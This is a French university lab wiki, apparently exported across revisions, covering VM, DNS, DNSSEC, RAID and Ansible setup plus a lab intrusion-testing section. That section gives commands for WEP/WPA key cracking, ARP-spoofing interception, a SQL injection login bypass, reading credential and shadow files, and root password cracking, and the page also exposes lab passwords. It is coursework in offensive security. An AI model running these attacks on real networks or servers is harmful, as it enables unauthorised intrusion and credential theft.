Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55148</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55148"/>
				<updated>2020-12-21T18:05:32Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* TP ASR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
